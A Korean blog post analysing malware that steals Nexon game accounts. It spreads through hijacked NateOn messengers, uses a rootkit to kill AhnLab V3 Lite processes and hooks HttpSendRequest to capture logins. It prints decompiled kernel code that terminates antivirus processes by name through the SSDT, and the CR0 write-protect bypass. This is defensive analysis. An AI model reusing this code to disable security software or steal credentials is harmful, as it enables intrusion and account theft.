검색결과 리스트
네이트온에 해당되는 글 1건
- 2010.03.25 넥슨 온라인게임 악성코드에 관한 분석 (89)
본문을 읽기전에 필요한 사전지식으로는
* 윈도우 시스템에 대한 간략한 지식
* 어셈블리언어에 대한 이해
* C언어에 대한 이해
* 후킹 기술에 대한 이해
* 디버깅 경험
정도를 필요로 합니다.
위 이론들을 잘 모르신다면 , 글을 이해하는데 어려움이 있을수 있습니다.
우선 글의 목차를 말씀드립니다.
첫번째로는 , 악성코드의 전파경로가 어떻게되는지와 , Dropper 파일의 역할에 대해서 다룹니다.
두번째로는 , Ahnlab V3라이트가 어떤방식으로 해커가 의도한대로 무력화되는지에 대해서 다룹니다.
세번쩨로 , 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.
먼저 악성코드에 대한 설명부터 하겠습니다.
최근 들어 중국발 온라인게임 계정 유출을 목적으로 한 악성코드가 국내에 많이 퍼지고 있습니다.
이 악성코드는 자체적으로 네이트온 메신저를 해킹하여 , 계정과 비밀번호를 가로챈뒤 ,
사용자 몰래 어느 시점에 로그인을 수행해서 해당 사용자의 지인들을 대상으로 하여,
악성코드 다운로드 URL을 무차별적으로 전송시키는 기능을 가지고 있습니다.
쪽지의 내용은 대체적으로 아래와 비슷한 형식으로 퍼지고 있습니다.
여기서부터 Ahnlab의 V3라이트가 어떤방식으로 무력화 되는지에 대해서 다룹니다.
1. 루트킷 설치
Sting.log 이라는 놈을 sysnames.sys 라는 파일로 C:\Windows\system\에다가 복사한 뒤,
커널 드라이버를 로드합니다. 그 후 sysnames.sys 파일은 삭제시킵니다.
sysnames.sys 루트킷은 아래와 같이 SSDT Hooking의 역할을 수행합니다.
참고로 Ahnlab V3 Lite 나 HackShield 등에서 사용하고있는 NtOpenProcess 후킹방식은
call nt!_SEH_prolog (8053db90) 부분을 Inline Patch 해서 보안모듈로 넘어오게끔 하는 방식으로 되어져 있습니다.
아래의 화면을 보시면 핵쉴드가 써먹는 NtOpenProcess 인라인 후킹 수법을 보여주고 있습니다.
원래 call nt!_SEH_prolog (8053db90) 이 호출되어야 할 부분에서 EagleNT 모듈을 호출하는것을 확인할 수 있죠.
V3 백신도 이것과 동일하게 적용되어져 있습니다.
강제 종료 로직은 , 유저모드 DLL에서 수행하는것이 아닌 , 커널모드 루트킷에서 강제종료를 수행하는것으로 분석되었습니다.
(나중에 해당 로직이 나옵니다.)
해커에게 표적이 된 프로세스 목록은 다음과 같습니다.
'V3LTray.exe'
'KSWebShield.exe'
'SgSvc.exe'
'V3LSvc.exe'
'V3Light.exe'
참고로 이 악성코드에 감염되게 되면 , 현재 V3 라이트가 실행중이라면 V3 라이트 가 종료되게 되고,
V3 라이트가 시스템에 설치되어져 있지않은 상태에서 , V3 라이트를 설치해서 실행하려고 하면
V3 라이트와 사이트가드 관련 서비스는 실시간으로 모두 강제 종료되게되서 , 전혀 작동하지 않는 상태가 됩니다.
이제 프로세스를 어떻게 강제로 종료시키는지, 해당 부분을 알아봅시다.
아래는 강제종료에 관련한 코드를 IDA Hexray를 이용해서 나타낸 것입니다.
(참고 : 아래 부분은 PsSetCreateProcessNotifyRoutine에 의해서 프로세스 생성 , 종료시 호출되는 NotifyRoutine으로 등록된 부분의 핵심부분을 나타낸겁니다.)
result = PsLookupProcessByProcessId(a2, &v9);
if ( result >= 0 )
{
if ( v9 )
{
v4 = (const char *)PsGetProcessImageFileName(v9);
if ( !stricmp(v4, "V3LTray.exe") )
{
dword_11490 = a2;
PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
}
v5 = (const char *)PsGetProcessImageFileName(v9);
if ( !stricmp(v5, "KSWebShield.exe") )
{
dword_11490 = a2;
PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
}
v6 = (const char *)PsGetProcessImageFileName(v9);
if ( !stricmp(v6, "SgSvc.exe") )
{
dword_11490 = a2;
PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
}
v7 = (const char *)PsGetProcessImageFileName(v9);
if ( !stricmp(v7, "V3LSvc.exe") )
{
dword_11490 = a2;
PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
}
v8 = (const char *)PsGetProcessImageFileName(v9);
result = stricmp(v8, "V3Light.exe");
if ( !result )
{
dword_11490 = a2;
result = PsCreateSystemThread(&ThreadHandle, 0, 0, 0, 0, (PKSTART_ROUTINE)StartRoutine, 0);
}
해당 프로세스를 발견하면 시스템쓰레드를 생성해서 특정한 작업을 수행합니다.
StartRoutine을 살펴보니 다음과 같았습니다.
NTSTATUS __stdcall StartRoutine(int a1)
{
sub_10A90(5000);
sub_10D10((void *)dword_11490);
return PsTerminateSystemThread(0);
}
NTSTATUS __stdcall sub_10A90(int a1)
{
LARGE_INTEGER Interval; // [sp+0h] [bp-8h]@1
Interval = (LARGE_INTEGER)(-10000i64 * a1);
return KeDelayExecutionThread(0, 0, &Interval);
}
NTSTATUS __stdcall sub_10D10(void *a1)
{
OBJECT_ATTRIBUTES ObjectAttributes; // [sp+4h] [bp-28h]@1
void *v3; // [sp+1Ch] [bp-10h]@1
CLIENT_ID ClientId; // [sp+20h] [bp-Ch]@1
HANDLE Handle; // [sp+28h] [bp-4h]@1
Handle = 0;
v3 = a1;
ObjectAttributes.Length = 24;
ObjectAttributes.RootDirectory = 0;
ObjectAttributes.Attributes = 0;
ObjectAttributes.ObjectName = 0;
ObjectAttributes.SecurityDescriptor = 0;
ObjectAttributes.SecurityQualityOfService = 0;
ClientId.UniqueProcess = a1;
ClientId.UniqueThread = 0;
if ( !NtOpenProcess(&Handle, 0x1F0FFFu, &ObjectAttributes, &ClientId) )
((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
return ZwClose(Handle);
}
위 코드에서 주목해야할 부분은
((void (__stdcall *)(_DWORD, _DWORD))dword_11494)(Handle, 0);
부분입니다.
NtOpenProcess를 먼저 호출한뒤에 , NtOpenProcess가 성공한다면 STATUS_SUCCESS (0x00000000L) 이 리턴될것이고
그러면 dword_11494의 함수포인터를 호출하겠죠.
dword_11494가 무엇인지 확인해보기 위해서 코드 레퍼런스를 추적해보니 다음과 같은 디스어셈블 코드가 나왔습니다.
mov edx, ds:KeServiceDescriptorTable
mov eax, [edx]
add eax, 404h
mov [ebp+var_C], eax
mov ecx, [ebp+var_C]
mov edx, [ecx]
mov dword_11494, edx
위 코드의 의미를 WinDBG에서 먹히는 명령어로 변환해보면 다음과 같습니다.
0: kd> dds poi(KeServiceDescriptorTable) + 0x404
80506864 805d49ac nt!NtTerminateProcess
80506868 805d4ba6 nt!NtTerminateThread
8050686c 805d6c0c nt!NtTestAlert
80506870 80537108 nt!NtTraceEvent
80506874 8061811e nt!NtTranslateFilePath
80506878 805862ce nt!NtUnloadDriver
8050687c 80624062 nt!NtUnloadKey
80506880 8062427c nt!NtUnloadKeyEx
0: kd> r $t0 = poi(KeServiceDescriptorTable) + 0x404
0: kd> r $t1 = poi(@$t0)
0: kd> u @$t1
nt!NtTerminateProcess:
805d49ac 8bff mov edi,edi
805d49ae 55 push ebp
805d49af 8bec mov ebp,esp
805d49b1 83ec10 sub esp,10h
805d49b4 53 push ebx
805d49b5 56 push esi
805d49b6 57 push edi
805d49b7 64a124010000 mov eax,dword ptr fs:[00000124h]
0: kd> r $t2 = poi(@$t1)
0: kd> r $t2
$t2=8b55ff8b (Byte 참조 순서가 거꾸로인 이유는 IA-32 Compatible CPU는 Little Endian 방식의 메모리 참조를 하기 때문.)
자...이제 아시겠죠?
NtTerminateProcess를 커널모드에서도 호출하고 있음을 명확하게 확인할 수 있습니다.
0x404는 서비스넘버를 하드코딩한것으로 보입니다.
PsGetVersion을 호출해서 OS별로 서비스넘버를 하드코딩한게 아니라 ,
그냥 MS WindowsXP SP3 버젼을 기준으로 해서 서비스넘버를 하드코딩 한것으로 보입니다.
따라서 이 악성코드는 윈도우XP 서비스팩3 버젼이 아닌, 다른 버젼의 NT OS(Vista , 7 , XP SP2 등) 에서 실행했을 경우,
또는 다른 커널모드 보안 드라이버와 충돌할 경우 ,블루스크린이 발생할 가능성이 있습니다.
결과적으로 이 로직의 순서는 다음과 같습니다.
PsSetCreateProcessNotifyRoutine을 호출하여 , NotifyRoutine을 설치해둠.
( 프로세스 생성과 종료시 , NotifyRoutine이 실행됨)
- 아래 내용은 프로세스가 생성, 종료될때마다 실행됩니다. (NotifyRoutine) -
1. PsLookupProcessByProcessId를 호출해서 해당 프로세스의 PEPROCESS를 얻어오고,
PEPROCESS를 인자로 넘기면서 PsGetProcessImageFileName을 호출하여 V3 관련 프로세스가 실행중인지 확인.
2. 타겟 프로세스가 발견되면 특정 목적을 수행하는 시스템쓰레드를 생성.
3. 시스템쓰레드는 KeDelayExecutionThread를 호출해서 약 5초간 쓰레드 실행을 지연시킴.
4. NtOpenProcess를 호출하여, 성공하면 핸들을 반환.(이미 후킹되어져 있기때문에 거의 성공함)
5. HANDLE값과 ExitCode 값 0을 인자로 넘기면서 , NtTerminateProcess를 호출하여 해당 프로세스 종료.
6. ZwClose를 호출해서 Usage Count를 내림.
7. 시스템쓰레드 자동 폭파.
이상으로 , 이 악성코드에서 V3관련 프로세스를 때려부수기 위한 로직은 대충 파악을 끝낸것 같습니다.
아참 , 그리고 SSDT에 수정을 가하기 위해서
MDL을 쓰느냐 , CR0 Hook을 쓰느냐 궁금해하실 분들이 계실수도 있는데,
이 루트킷에서는 CR0 Hook 방식을 사용하더군요.
정확히 말하자면 Intel IA-32 CPU의 Control Register 0번의 Write Protection Bit를 1에서 0으로 조작하는 형태입니다.
이 작업을 수행하는 코드는 이미 널리 알려진대로 다음과 같습니다.
PUSH EAX
MOV EAX,CR0
AND EAX,0xFFFEFFFF
MOV CR0,EAX
POP EAX
참고로 이 드라이버는 아주 더럽게도 DriverUnload에 어떠한 언로드 코드도 넣어두지 않고 있습니다.
완전 더러운놈들이죠...드라이버 언로드 되도 끝까지 살아남겠다는 그 의지!
DriverObject->DriverUnload = (PDRIVER_UNLOAD)sub_11170;
void __stdcall sub_11170(int a1)
{
;
}
이런 더러운 놈들!
& Baidog.dat 추가적인 정보 &
* v3ltray.exe가 윈도우 부팅 시 자동으로 실행되지 않게끔 레지스트리에서 값을 제거하는 기능을 가지고 있음.
여기서부터는 넥슨ID와 비밀번호가 어떻게 탈취되는지에 대해서 다룹니다.
* WININET.DLL에서 제공하는 함수인 HttpSendRequestA와 HttpSendRequestW 함수를 후킹해서
넥슨 홈페이지에 ID와 비밀번호를 입력해서 로그인할때 , ID와 비밀번호를 훔쳐내는 기능을 가지고 있음.
아래는 API Inline 후킹된 모습을 나타내는 스샷입니다.
First Bytes를 Inline Patch해서 해커가 코딩한 영역으로 끌고오는 모습을 확인할 수 있습니다.
0x10003488 주소에 대해서 RtlZeroMemory를 수행하던 도중에 , 중지되었습니다.
콜 스택을 확인해보니 , 다음과 같이 전개되었음을 유추할수 있겠네요.
로그인버튼 누름 ->IE에서 아이디와 비밀번호를 인자로 전달하여 , HttpSendRequestW 호출 -> HttpSendRequestW에서 해커가 코딩한 영역으로 점프함 -> 아이디와 비밀번호를 저장하는영역(배열) 을 RtlZeroMemory 를 호출해서 0으로 초기화 시킴. -> 해당 영역을 가로챈 아이디와 비밀번호로 채움.
HttpSendRequestW 함수가 호출되면서 인자로 strNexonId와 strPassword가 전달됨을 확인할 수 있습니다.
그런데 HttpSendRequestW는 현재 API Inline Hook 된 상태입니다.
당연히 해커가 작성한 프로그램영역으로 넘어오겠죠?
해커는 굴러들어온 인자를 적절히 문자열 컨트롤만 해주면 됩니다.
즉 , 넥슨사이트의 ID와 비밀번호 전송 알고리즘 부분은 이미 중국해커에게 모두다 분석 당한 상태이고,
중국해커는 그 부분을 이용해서 손쉽게 넥슨ID와 비밀번호를 털어내가고 있는것입니다.
위와같이 정보를 빼가는 방식은 키보드보안이나 개인방화벽의 작동여부와는 일백퍼센트 무관한 경우입니다.
결국엔 이 악성코드에 감염되고 나서 , 게임을 접속하지않고 ,
IE를 이용해서 넥슨 관련 모든 홈페이지에 로그인 접속만 하면
넥슨계정은 털리게 될것입니다.
넥슨은 이쯤에서 사이트 리모델링을 해야될 필요성이 있습니다.
아니 , 어찌보면 우리나라가 인터넷익스플로러에 찌들었다는게 참 안타까운 현실입니다..........
** 추가정보 **
HttpSendRequestA , HttpSendRequestW 의 후킹 여부를 탐지해주는 프로그램
flo`s Notepad2 4.1.24 (1) | 2010.04.04 |
---|---|
AT4RE JOINER 4.0 (5) | 2010.04.04 |
넥슨 온라인게임 악성코드에 관한 분석 (89) | 2010.03.25 |
W32Dasm 10.0 (0) | 2010.02.04 |
Kernel Detective 1.3.1 (5) | 2010.01.23 |
모 온라인 게임 보안 프로그램이 후킹하는 SDT 함수들 (6) | 2009.12.21 |
RECENT COMMENT